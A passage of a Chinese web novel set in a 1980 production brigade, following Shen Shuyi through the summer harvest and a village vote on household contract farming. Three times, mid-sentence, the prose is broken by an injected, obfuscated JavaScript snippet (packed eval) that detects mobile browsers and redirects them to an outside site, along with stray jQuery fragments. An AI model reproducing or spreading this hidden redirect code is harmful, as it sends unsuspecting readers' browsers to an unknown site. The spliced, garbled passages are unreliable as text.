沈淑仪拍拍周长潇的手:“不要说脏话,快松开我,我要去大队部了,你们姐妹慢慢聊。” 周长潇见大嫂还是那么温柔地对自己,才放心地松开手。 “谁跟她是姐妹!”周长潇哼了一声,没有离开,等着沈淑仪走远,以防她再被周长洁给缠住。 等沈淑仪走远,周长潇又恶狠狠地对周长洁说:“你不许缠着我大嫂,你自己有嫂子,窦海云不就是你新嫂子!” 提到窦海云,周长洁脸色也变了,她没理周长潇,气呼呼地回自己家了。她不喜欢窦海云,家里穷,父母难缠,怎么都配不上她哥!偏偏这样的女人要做自己嫂子了。 沈淑仪淌着一路的泥泞到了大队部,进办公室后,发现办公室里只有朱保山在。 沈淑仪一见他就板了脸。 朱保山看见沈淑仪手上的大黑伞,心有余悸。 “沈同志,对不起!”朱保山没有废话,直接给沈淑仪鞠躬道歉。 沈淑仪没理他,把伞放到门后头,走到自己的办公位坐下。 朱保山见沈淑仪不理自己,又走到她办公桌旁给她鞠躬。 “真的对不起,昨天是我一时鬼迷心窍,我以后绝对不会再做同样的事!” 沈淑仪不开口,朱保山就一直保持鞠躬的姿态没抬头。 过了将近一分钟,沈淑仪才缓缓开口:“你怕我告状。” 朱保山见自己的心思完全被沈淑仪猜透了,直起身说:“是,这件事,本来就是我自己一个人的事,连窦同志都不知道,我不知道你怎么知道的,但是希望你不要告诉别人,特别是我父亲。” 沈淑仪看看他,昨天没仔细看,今天看来,这小子模样倒是不错,这会儿道歉也挺诚恳。 “我可不被人白撞。”沈淑仪说。 朱保山想说,你昨天不也甩我一身泥水么,但现在他有求于人,也不敢说这话,只好说:“那、那沈同志想要我怎么道歉,或者怎么补偿呢?” 沈淑仪说:“听我话,给我做事,我用得着你的时候,找你。” 朱保山为难地说:“什么事啊?” “现在不知道,总归不是什么破坏团结,违背社会主义精神的事。”沈淑仪随口道。 朱保山想着他爸平时把沈淑仪夸得天上有人间无的,说她是多好的女青年,没想到她是这样的性格。但谁叫自己昨天发疯惹她了呢,现在只有捏着鼻子认了。 “好,我答应你。”朱保山说。 沈淑仪心里有点意外,他居然都不知道讨价还价,她又没说几件事,难不成以后他会一直听自己差遣,要真是那样,那倒也不错。 沈淑仪上辈子使唤人惯了,这辈子总想多几个人能供自己“使唤”…… 15. 第 15 章 “我、我爸要回来了,我还得上工去,你要是找我有事,自己不方便的话,可以叫周长泓去我家找我。”朱保山说。 沈淑仪又看看朱保山,他还怪贴心的。 “我知道了。”沈淑仪点头。 “那我真走了?”朱保山还有些不放心,小心翼翼地问。 沈淑仪被他的样子给逗笑了,这么个性子,昨天还真是鬼迷心窍,胆敢去撞她。 “嗯,你走吧。”沈淑仪说。 朱保山从昨天见到沈淑仪,她就一副凶神恶煞的模样,刚才也是冷若冰霜,她突然对自己一笑,朱保山感觉自己心跳都漏了一拍,原来她笑起来是这个模样…… 朱保山逃走了,他的心怦怦跳得厉害,他感觉沈淑仪这一笑,比昨天拿伞甩他还要厉害许多。 朱保山离开没多会儿,朱会记和陈队长一前一后回来了,在办公室门口遇见,窦是去田里看雨后庄稼倒伏的情况,雨靴上都沾了泥,两人一边使劲用脚蹭地面,把泥蹭掉,一边说话—— “三队怎么样?”陈队长问。 “倒,四队呢?”朱会计问。 “也倒,田头有树的地方要好一点,风要被挡住一点。”陈队长说。 “田稍微干一点就要开始收割了,不能再等了,今年就已经晚了,油菜荚子有些已经泛黄。”朱会计说。 “国栋去弄柴油了,不知道能弄到多少,全靠老黄牛拉,可耽误时间。”陈志说。 “去年秋收的柴油钱还没还上呢。” 两人终于清理好雨靴上的泥,进了办公室。 沈淑仪和他们打招呼。 “小沈来了啊,路不好走吧。”朱会计说。 “嗯,不好走,滑得很,还有不少水坑。”沈淑仪说,“不知道什么时候能把路面硬化一下。” “就这机耕路修一下子,就费了不少劲,要硬化可不容易。”陈志说。 “要是能弄点石子碎砖头铺一下就好了,起码不那么滑,人好走些,拖拉机和微耕机也好走,听说路好走,也省油呢。”沈淑仪说。她刚才就在想,哪里能弄到石子和碎砖头,胜利公社包括他们所在的东阳县地处平原,境内是没有山的,想要弄石子还挺费劲,只能去外地拖。 “难。”朱会计走到自己办公桌前,戴上老花镜准备今天的工作。 陈志在大队部待没多久,就又去忙了,沈淑仪和朱会计统计着记分表。 “等搞了承包,各家管各家的,这记分表,就用不着了。”朱会计突然说。 “到时候又有新的事要操心了。”沈淑仪笑道 “也是。”朱会计说。 晌午时分,刘支书从公社回来了,浑身像是在泥里滚过似的。 “怎么了这是,摔了啊?”朱会计上前。 “嗯,车打滑,没稳住。”刘支书说。 “那快回去换身干净衣服啊。”朱会计说。 “我把柴油送过来。” “弄到了啊?”朱会计语气轻快了些。 “嗯,先弄两桶,我立军令状了,说今年过年前肯定还上,才给我的。还好油没洒,不然我真要去跳河……”刘支书说完,想起沈淑仪之前的事,立马把话题岔开,“油放库房了,我先回去换身衣服,就来和你们说一声油的事。” “快回吧,快回吧。”朱会计说,“库房锁好了吧。” “锁好了,小沈,我先回去了。” “您走好。”沈淑仪站起来送刘国栋。 刘国栋走后,朱会计感慨:“还好弄到柴油了,国栋也是不容易。” 后面两天天气都不错,田里干得差不多,夏收开始了。先收油菜,再收小麦。 抢收时节,队里老老小小基本都在田里,沈淑仪也来到田间,不过她没有干农活,主要负责他们生产队的记分,统计。 油菜种得少,两天收割完了,全都堆在队里的晒场上,等着晒干脱壳。沈淑仪他们二队,油菜籽的收成很不好。 傍晚,沈淑仪在晒场核对社员工分,刘支书和朱会计来了。 “书记,别的队收成怎么样?”沈淑仪问。 刘国栋冷哼一声:“大哥不说二哥,八个哥差不多,榨成油一家分二两都不知道够不够。” “今年天时不好,春天冷。”朱会计在旁说。 “就怕回头一到公设,别的大队都比我们好。”刘国栋叹了口气,这两天他几乎没睡觉,各个队里跑,“收成都这样了,你看他们也不急。” 刘国栋说着朝晒场上的人指了指:“他们就指望国家呢,反正国家不可能把他们饿死的。” 这会儿晒场上有不少人,其中有些人是被安排来看粮食的,正聚在一起说话。 当然,也不全都是混吃等死的,也有奋进青年。就在沈淑仪和刘支书他们说话的时候,周长清和窦海云过来了。 刘国栋看见他们两人,面色稍微缓和点,这两个青年他还是挺看好,平时做事都挺踏实勤快,不是那种等着国家发救济粮的。 周长清和他们打过招呼后,问道:“刘书记,朱会计,我们大队,到底搞不搞包干啊?” 刘国栋看看周长清:“怎么,你有什么想法吗?” 周长清提了一口气说:“书记,我觉得我们应该搞!我看人家二圩已经开始动员了,听说试点名额还要抢,我们到现在一点动作都没有,书记是不准备和二圩抢吗?” 周长清的表现,正是刘国栋想要的效果,他故意为难地说:“这事我还要再考虑考虑,毕竟事关大队所有社员,你想搞,旁人还不想搞呢。” 窦海云说:“书记,那能不能让想搞的人搞呢?” 刘国栋笑笑:“那不是乱套了,要搞肯定都搞,要没都不搞,你们两家都想搞?” 刘国栋想着窦海云的老子,觉得他不像那样的人。 果然窦海云脸一红,说:“说不定搞了大包干,自家的事自己做,就不一样了呢。” “这倒也有可能。”刘国栋说,“还是等夏收后再说吧。” 周长清和窦海云走开后,又来了几波人问大包干的事,刘国栋都没给准话。 眼看着天要黑了,朱会计去叮嘱晚上留在晒场看粮的人都警醒些,刘国栋和沈淑仪小声说着大包干的事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364066|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘国栋想让沈淑仪给他写一份发言报告,等到时候动员大会上做参考。 沈淑仪当然一口答应了。 “小沈,这件事要是成了,你是头功。”刘国栋说。 “我可什么都没做,都是书记领导。”沈淑仪笑笑说。 刘国栋对沈淑仪更欣赏了,他也不是要抢功,年轻人有眼力,知进退是好事。 周长泓和周长潇一起过来找沈淑仪,刘国栋说:“小沈,你小叔子和小姑子来接你了,快回去吧。” 沈淑仪背对着他们,回头看了一眼,周长潇朝她招手。 沈淑仪把记分簿和水壶收好,和刘支书道别后,跟着兄妹俩一起回家。 晚霞只剩下最后一抹红,沈淑仪走在兄妹俩中间,听周长潇叽叽喳喳地说话,抱怨这两天太累…… 油菜籽收完,趁着好天,立刻又开始抢收小麦。 队里小麦的种植面积比油菜多,一个星期才收割完,最后一天天色不太对,队里怕下雨收不上来,让赶了夜班,一直干到半夜才收工,还好,雨没下成。 粮食不是收上来就行的,后续还有很多事,要脱粒,要晒,要过磅装袋……田也要赶紧整出来,打水,插秧。 本来“双抢”,抢完收,就要抢种,但今年还有一件事,那就是大包干搞不搞。 小麦入仓后的当天晚上,刘国栋突然用大喇叭通知各生产队派代表到大队部开会。 “怎么突然开会?淑仪你知道什么事吗?”周二柱问。 沈淑仪说:“队里要竞争公社大包干名额,我们支持就行了。” “啊?真要搞啊,那你怎么早不说,每次问你都模棱两可。”陶桂香有点不高兴。 “出奇制胜。”沈淑仪说,“你们听我的就行,谁跟我一起去?不用都去,晚上蚊子多,这几天也辛苦了,去了也就听书记发言,然后投票。” “我要去。”周长泓举手。 陶桂香说:“那就你爸和长泓跟你一起去吧。” “那走吧。”沈淑仪说。 三人一出门,隔壁周三柱家父子俩也出门了,是周三柱和周长清。 老兄弟两个不说话,小堂兄弟两个也互相不理睬,倒是周长清朝沈淑仪点点头,算是打招呼了。 周长泓在沈淑仪旁边嘀咕:“叫你不要睬他的。” “没睬。”沈淑仪说。 “那他刚才和你点头。”周长泓说。 “他跟我点头,又不是我跟他。”沈淑仪觉得周长泓和周长潇这兄妹俩不愧是亲兄妹,对大嫂的占有欲都是一样的强。最近周长洁在家农忙,周长潇严防死守,坚决不让周长洁靠近她。周长泓则是防周长清…… 周长泓没吱声了,最近这些天太忙,他一直没找着机会和沈淑仪“算账”。而且这么相处下来,周长泓渐渐觉得,她好像真的挺好的……自从她来后,家里吵闹声少了,妹妹听话懂事了,老母亲也不动不动就骂人。她也没做任何对他家人不利的事,相反,在外面对他们家每个人都很维护;在家里对每个人也都关心。 她大概没有坏心眼吧,周长泓想。 16. 第 16 章 一路上遇到不少去大队部开会的社员,有人手上拿着蒲扇,有人胳膊上挎着小板凳。 “肯定要开批斗大会了,小麦和油菜就那么点产量。” “肯定的,老刘要气死了。” “年成不好,也怪不我们。” 路上,有年轻社员笑嘻嘻地说。 有年长的呵斥他们:“亏你们笑得出来!一个个老大不小了,一点不懂事!再这样下去,连饭都要吃不上了,更别说结婚讨媳妇!等一个个成老光棍,看谁还笑得出来。” 一句话把年轻社员们说沉默了,大队里适婚男青年不少,其中有好多都没说亲。都是血气方刚的小青年,谁不想娶媳妇,刚才说那话,也是年轻好面子,别人说什么就跟着起哄。 周长泓小声问沈淑仪:“大嫂,搞这个大包干,产量真的能提高那么多啊?” “报纸上都登了。”沈淑仪说。 周长泓嘁了一声:“那以前报纸上还说亩产八千斤呢,谁知道真的假的。” 沈淑仪瞥了周长泓一眼:“这不是试点么,试过就知道了,反正现在已经这么低了。” “好像也是……”周长泓说,“大嫂,这个大包干到底是怎么分的,我们家能分多少田啊?分给我们的田就是我们家的了?我们随便种什么都可以吗?” “地还是集体的,是承包给我们种,可以给你随便种什么,到时候你交不出公粮,就要交钱。”沈淑仪挺有耐心地和周长泓说。 见周长泓似乎没听没白,沈淑仪又解释:“你可以这样理解,以前我们是以生产队为一个单位,以后是以家庭为最小单位,我们只管分包给我们的那一片田。” “我懂我懂。”周长泓说。 “那种出来的粮食呢?”周二柱也问。 “交足国家的,留够集体的,剩下都是自己的。”沈淑仪说。 “还能剩下吗?”周长泓嘀咕。 “怎么不能!”周二柱说,“到时候好好把田伺候了,产量肯定更高!” “嗯,毕竟产量越高,自己剩的就越多。”沈淑仪点头说。 周长泓哦了一声没再接话,他在心里算了算,大队里这么多户人家,一千七百多社员,所有的田满打满算也不足三千亩,就是全分了,一人也就一亩地多一点,这点田就是种得再好,也发不了大财。 周长泓想到城里去闯闯,听说现在搞改革开放,城里赚钱机会多,但是他妈不让他去,怕他违纪犯法,怕他投机倒把。 沈淑仪三人到大队部,办公室外已经聚集了不少社员,叽叽喳喳说话,电线杆上的大灯亮着,办公室门口摆着两张课桌,应该是等下要当主席台用了。 “我先去办公室。”沈淑仪对周家父子说。 沈淑仪到大队部门口,正好遇上从里面出来的朱保山。 朱保山一见沈淑仪先是愣了一下,然后和她打招呼:“沈同志。” “朱同志。”沈淑仪回了一声。 “你,你不是有事要我做吗?”朱保山小声说。 沈淑仪没想到朱保山上赶着要给她做事,不由得好笑,说:“现在没事,有事就找你了。” 朱保山心里七上八下的,总觉得沈淑仪不找他做点事,他的心里就不踏实。 “那,那什么时候有事啊?”朱保山问。 沈淑仪想起朱保山有辆二六的自行车,她还没学会骑车,想学一下,就说:“要不你把自行车借我学学?” “行。”朱保山答应了。 沈淑仪说:“我先谢谢你,等忙过这阵就麻烦你了,我会和朱会计也说一声的。” “嗯、没事。我爸不会有意见的。”朱保山说,“那,那要我教你骑车吗?” “到时候看吧。”沈淑仪说,“我先进去了。” 朱保山哦了一声,转头目送沈淑仪进了办公室。 今天办公室人比平常多,支书、大队长、会计、妇女主任,民兵连长、还有几个队的小队长都在,看来大队部内部是已经统一好战线了。 “小沈同志来了。”刘支书第一个和沈淑仪打招呼。 “支书,各位领导。”沈淑仪笑着和他们打招呼。 “小沈,你笔杆子是这个!”妇女主任姚芳朝沈淑仪竖了个大拇指。 沈淑仪看看刘支书,她可从来没说自己给刘支书写发言稿的事。 姚芳笑呵呵地说:“你不用看他,我一看就知道了。” “我只起到了一个誊写的作用,把支书的指导思想写下来而已。”沈淑仪玩笑着说。 刘国栋笑笑,小沈同志真是个谦虚的好同志。 外头社员们说话的声音越来越大,时不时还有人到办公室门口或者窗口张望一下。 大队长陈志和几个小队长说:“我们去看看各队的社员实到情况吧,时间不早了,早开早结束。” “行,走。”小队长们和民兵连长都跟着出去了。 办公室里人一下子走了一大半。刘支书和朱会计说着接下来要开会的事,姚芳单独和沈淑仪说话。 “我一直想找你聊聊,但最近太忙了,都没机会。”姚芳笑着说。 “我也想早点接受您的教导了。”沈淑仪笑着说。 姚芳捂嘴笑:“我也不跟你绕弯子,我看你性子也挺利爽的,那时候怎么那么想不开的?” “您也说了,是想不开,人不就是怕个想不开么。”沈淑仪说。 “也是,那几天我想到你家去的,后来听说你到大队部来了,就没去找。我撞见过你婆婆,和她聊过几句。”姚芳说,“反正,现在是想开了吧?” “开得不能再开了。”沈淑仪说,“还没实现共产主义伟大理想呢,我可不能再犯那种错。” “对对对,这么想就对了。”姚芳笑着说,“你还年轻,路长着呢。” 沈淑仪也跟着笑,她对姚芳的印象很好,这位妇女主任浓眉大眼,亲和敦厚,说话干脆利落,她很喜欢。 十几分钟后,陈志到门口说:“支书,人差不多了。” “行,那你用喇叭先喊一声,我们等下就出去。”刘国栋说。 很快外面穿来陈志用大喇叭喊话的声音:“看看人到齐没有啊,马上就要开会了,到了找个地方待着就不要乱窜了,一个队一个队在一块。后头那几个,还不快跑,每回看电影,你们跑最前头,开会就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364067|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往后头赖!” 陈志喊完话,把主席台布置好,进来喊他们。 “好了,可以开始了。” 办公室门口摆了两张课桌,刘国栋坐中间,一边坐着朱学勤和陈志,另一边坐着姚芳和沈淑仪。他们头顶上亮着一盏临时拉的电灯。 几人坐下了,社员们还在叽叽喳喳说话。 陈志手上拿着喇叭,喊了一声:“行了,都安静一下,会议开始了。” 社员们安静下来,刘国栋接过喇叭,轻咳一声:“各位社员晚上好,一九八零年胜利公社大圩大队夏收总结会,现在开始。不要鼓掌,这是总结会,也是反省会,没什么好鼓掌的。我们先请朱老会计和大家汇报一下今年夏收油菜籽和小麦的产量。” 本来社员们还叽叽喳喳说话,一听产量二字,都沉默了…… 朱学勤接过喇叭,也轻咳一声,对着手上的数据开始发言:“大圩大队,一九八零年种油菜三百二十亩,收获油菜籽五点五吨,亩产三十四点三斤;小麦种植两千零四十八亩,收获小麦二百四十吨,亩产二百三十四斤。社员同志们,这就是我们夏收的收获总量。” 朱学勤报完数字,习惯性地叹了一口气:“社员同志们,油菜用的是,改良过的种,种的是优化过的地啊!就这点产量……”朱老会计痛心疾首,说不下去了,把喇叭给了刘国栋。 刘国栋接过喇叭,继续发言:“这个亩产,大家满意吗?” 没人回答他,大多数社员都底下头,也没有一个人窃窃私语。 “大家满意吗?”刘国栋声音拔高,又问了一遍。 “不满意!” 社员中有人大吼一声,是周长清。他身边的人都被他突然喊的一声给吓一跳,周三柱也被吓了一激灵,拍了他一下:“你鬼喊什么!” 周长泓离着周长清不远,他想着沈淑仪之前的叮嘱,寻思自己刚才是不是也该喊一声,倒被周长清抢了先机。他望向主席台上的沈淑仪,她端坐着,脸上没有什么表情,看都没朝他看一眼…… 刘国栋没想到周长清这么快就跳出来了,他还准备了很多话没有发言呢,本来他安排好了人和自己打配合,等他痛诉社员们的“罪状”,陈述大队目前的困境,展望社员们看不到头的未来……然后再由他安排的人提出他们要改革,一气呵成,顺理成章。 现在,刘支书被周长清这一嗓子给打乱了节奏。而且周长清这一嗓子太响亮了,叫他都没办法忽视。 “支书!我们不满意!”周长清又喊了一嗓子。 这下刘国栋不得不叫他发言。 “好,你来说说,为什么不满意。”不过开口的人是周长清,刘国栋心里还是挺放心,觉得由他来开这个口子,或许比他安排的人更好,于是把周长清喊过来发言,看他怎么说。 周长清拨开人群走向主席台,窦海云看着周长清的背影,感觉自己的心都要跳出来了,他可真勇敢啊! 沈淑仪看着朝这边走来的周长清,心说,他可真能坏事!不同于刘国栋,沈淑仪对于任何打乱她节奏的人都讨厌,不管他是谁,他要说什么;不管他做的事,对她的计划是推动还是破坏,她都不喜欢。 17. 第 17 章 周长清朝主席台走,社员们的目光全都追随着他。 沈淑仪越过姚芳看刘国栋,要是她,绝对不会这时候让周长清上来发言的。 姚芳小声对她说:“没事。” 沈淑仪点头没说什么,想想这些村干部也都是老领导,事先准备得也充分,刘支书应该还能找回节奏,对事情的最终结果应该没什么影响。 “周长清同志,你来说说,你为什么不满意,以及作为年轻社员,你对今年夏收有什么总结。”刘国栋说。 刘支书给周长清让了位置,周长清挤到他和朱会计之间,接过了发言的大喇叭。 “谢谢支书让我发言。”周长清说,“我不满意,而且,我相信大家都不满意。‘收成’代表的是什么,是希望,是未来,这个亩产,我看不到任何希望和未来……” 周长清一开口,刘国栋就对他很满意,虽然话术不尽相同,但周长清说的话和他原本要表达的意思还是相同的,他没有开口,听周长清继续说下去。 “……如果所有地方都是这个亩产,那么我们要想的是怎么改良种植方法,培育新种子,但如果问题不是出在这儿呢?为什么人家有些地方油菜亩产超过五六十斤,小麦亩产超过六七百斤呢,为什么我们不能呢,我们到底比人家差在哪儿了?” 社员们开始喧哗。 “哪个公社啊?产量这么高?” “真的假的?别又是放卫星……” “瞎报的吧。” “当然是真的!还有比这更高的。人家那才是有希望、有未来的收成。”周长清说,“而且,现在这个希望,也摆在我们跟前,就看我们争取不争取!” 下面刘国栋先前安排的社员,见周长清这么勇,说的内容也和支书差不多,以为他也是支书安排的,开始附和他。 “什么希望?” “怎么争取啊?” 周长清说:“家庭联产承包责任制,就是大包干,全国已经有很多地方开始搞了,我们现在也有机会搞。” 刘国栋也没想到他安排的人竟然和周长清打起了配合,一时心情有些复杂。但只要事情能办成,也就罢了,年轻人有热血是好事,成日混吃等死才真的要完蛋。 下面配合的人又开始了—— “你是说我们也搞?” “听说二圩、许庄、陈塔几个大队都抢着要搞呢,听说有名额呢,不是谁都可以搞……” “那我们也搞吧!” 周长清这会儿看向刘国栋,把喇叭放下,小声说:“对不起支书,我自作主张了。我还有一点就结束。” “你说吧。”刘国栋见周长清已经把气氛烘托到这儿了,再破坏反而不好,就由他去了,总归他也是想进步,不是坏事。 “支书,我代表我自己,向您请愿愿,搞家庭联产承包,我们大圩的未来,大圩青年的未来,要自己争取……”周长清说。 他说完,立马有社员附和。 “我们也搞!凭什么二圩他们老早就动员了,我们不动员?” “我们难不成还不比过他们吗?” “有机会凭什么不抢!” “支书,我们也要搞!” 年轻人的声浪一声高过一声,自然也有顽固派跳出来反对。和别的大队反对的声音也类似,无非就是说他们是要搞资本主义、个人主义,破坏团结之类。 周长清把喇叭还给刘国栋。 刘国栋忽视掉那些反对的声音,拿起喇叭说:“我们大圩的年轻人,都很奋进,很想进步啊,虽然你们请愿了,不过我相信,还有很多人对这个大包干并不了解,我来给你们说说……” 刘国栋开始找回自己的节奏,下面的社员们,聚精会神地听着刘国栋详细地介绍。刘国栋说的就比较细致了,说了这个政策的性质,具体事实方法等。特别是他给出了具体是哪个地方,哪个公社实施了这个大包干,产量提升了多少,都给了具体的对比数字,然后又预算了一下,如果他们大队也开始搞,未来会达到多少亩产。 “那还等什么啊!我们也搞啊!” “对啊支书,我支持大包干!” “我不同意!” “为什么不同意,你是不是不想进步?就想躺着让国家发救济粮?” “就是就是。” “你们就是搞个人主义,搞小农经济!□□!” “你才是国家的蛀虫!不思进取!” “投票!投票!” 一切发展还是和刘国栋预想的差不多,他还是顺势进行记名投票。 投票时,周长清还在旁边“鼓吹”着大包干的好处,整个投票过程,绝大多数都投了赞成票…… 就这件事的结果来看,和大队部几个干部预想的没什么区别,但周长清肯定因为这件事,又积累了人气和名声。 沈淑仪心说,周长清不愧是原书的男主,真会给自己造势,这件事过后,他肯定会成为大圩年轻人的“领袖”。而他所谓的带头请愿,不过是看准了刘支书今天开这个总结会的真正目的,乘势而为。 沈淑仪看出来了,大队部这些老干部们当然也能看出来,但他们谁也没说什么,几个人都忙着统计票数。 今天每家每户,最少一个人到场,大队广场上有三百来号人,投票结果是赞成票三百零八张,反对票二十四张。 很多人当场就欢呼,刘国栋见状心里发狠,就算公社没有把名额给他,他也要搞!人家最先搞的大队,也是自发的。 周长清的意外发言,让刘国栋激起了冲劲,他和社员们保证,一定会有一个满意的结果。 投票结束后,总结会也结束了,大家讨论着今天听到的内容,成群结队回家。 沈淑仪留下和大队部几个干部说话。 朱会计说:“赞成票比想的要多。” “集中爆发的效果有了,要是分开投,拉长战线,可能没这么高。”沈淑仪说。 “嗯,明天我就去公社,肯定要把这个名额拿下来。”刘支书说。 陈志说:“我和你一起去!” “我们这个赞成率,肯定可以的。”朱会计笑着说,然后又笑叹,“还有这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364068|183839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周长清,不得了。” 刘支书说:“嗯,有上进心。” 沈淑仪和姚芳对视一眼,姚芳朝沈淑仪笑笑,两人没有接话。 “爸,啥时候回去啊?”朱保山突然在门口探头问。 “大嫂,我和爸等你回家。”周长泓也来了。 “走吧,走吧,现在就回。”刘支书说,“你们都走,我来关灯锁门。” 朱会计朝门口的朱保山和周长泓道:“你们两个小伙子,帮忙把门口的课桌搬到隔壁会议室。” “好嘞。”周长泓应了一声。 一行人收拾好,同时离开办公室,一起走出大队部。 他们方向不同,道别后,各自回家。 沈淑仪他们家在大队部的东边,这会儿迎着月亮往回走。晚风习习,路边水草上有萤火虫飞舞,前方的社已经走出去很远,只能隐隐听他们仍在说着今晚的事。 “大嫂,周长清是你们安排好的人吗?你为什么不安排我啊!”周长泓问道。 沈淑仪看着水边的萤火,说:“他不是我们安排的。” “不是?”周长泓脚步一顿,“那,那刘支书就由着他?” 沈淑仪转头看了眼周长泓:“支书雅量。” 周长泓嘁了一声:“被摆了一道,骑虎难下吧。我看那些人跟他配合那么默契,还以为都是安排好的呢!” “长泓你比我想的聪明呢,那些人确实是安排好的,只有周长清是自己抓住了机会。”沈淑仪说。 周长泓被沈淑仪夸了一下,一时有些脸热:“这不很明显的事,爸你看出来了吗?” 周二柱嗯了一声。 “那个周长清,真会给自己拉大旗,等试点名额拿到了,他倒成了功臣,他们周老三家的人个个都是这么阴险狡诈!大嫂,你可要跟支书好好说说。”周长泓说。 “你都能明白的事,支书不明白?”沈淑仪说,“刚才夸你聪明呢,白夸了。” 周长泓哼了一声:“我就是让你多和支书说说他的坏话。” “支书自有考量,你不用操心,我……” “谁!”周长泓突然朝路边防风林的方向喊了一声,打断了沈淑仪的话。 “别是有贼趁着我们开大会进来偷东西了,我去追!”周长泓撂下一句话就朝防风林里追去。 周二柱见儿子一个人冲过去了,忙也赶过去。 很快沈淑仪就看到,周长泓追着两个人在防风林里跑,看身形很明显是一男一女。 显然,这是一对青年男女,在防风林里约会呢,沈淑仪一看就看明白了。 周长泓也看到了是一男一女,但他一心把他们当贼,只想抓雌雄大盗! 周长泓长得高,腿又长,跑起来快,很快就抓到了其中的男方。他把人揪到防风林外,借着月光一看。 “咦,怎么是你?你不是六队的吗,那个谁来着,胡国伟!” “你放开我!”胡国伟挣开周长泓的手,大口喘着粗气。 周长泓这会儿也反应过来了:“哎呀,你和人钻小树林啊!”